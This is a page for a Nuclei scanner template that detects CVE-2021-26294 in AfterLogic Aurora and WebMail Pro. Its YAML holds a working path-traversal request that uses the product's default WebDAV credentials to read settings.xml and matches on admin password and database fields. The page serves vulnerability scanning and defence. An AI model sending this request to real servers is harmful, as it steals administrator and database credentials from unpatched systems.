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AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure

ID: CVE-2021-26294

Severity: high

Author: johnk3r

Tags: cve2021,cve,afterlogic,exposure,AfterLogic

Description

Section titled “Description”

AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26294


info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26294
    - https://github.com/Threekiii/Awesome-POC
    - https://github.com/soosmile/POC
    - https://github.com/tzwlhack/Vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-26294
    cwe-id: CWE-22
    epss-score: 0.21969
    epss-percentile: 0.96457
    cpe: cpe:2.3:a:afterlogic:aurora:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: afterlogic
    product: aurora
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,exposure,AfterLogic


http:
  - raw:
      - |
        GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<AdminLogin>"
          - "<AdminPassword>"
          - "<DBHost>"
        condition: and


      - type: word
        part: header
        words:
          - "application/octet-stream"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022019dee4970003e8fc7b2e9e497710affbcde5b383998f36eb22a886dc915bd7610221008b6934b37ed003763c8a81b9036695bfbe3b3b49985f73f6bc87abcc67ea2591:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26294.yaml"

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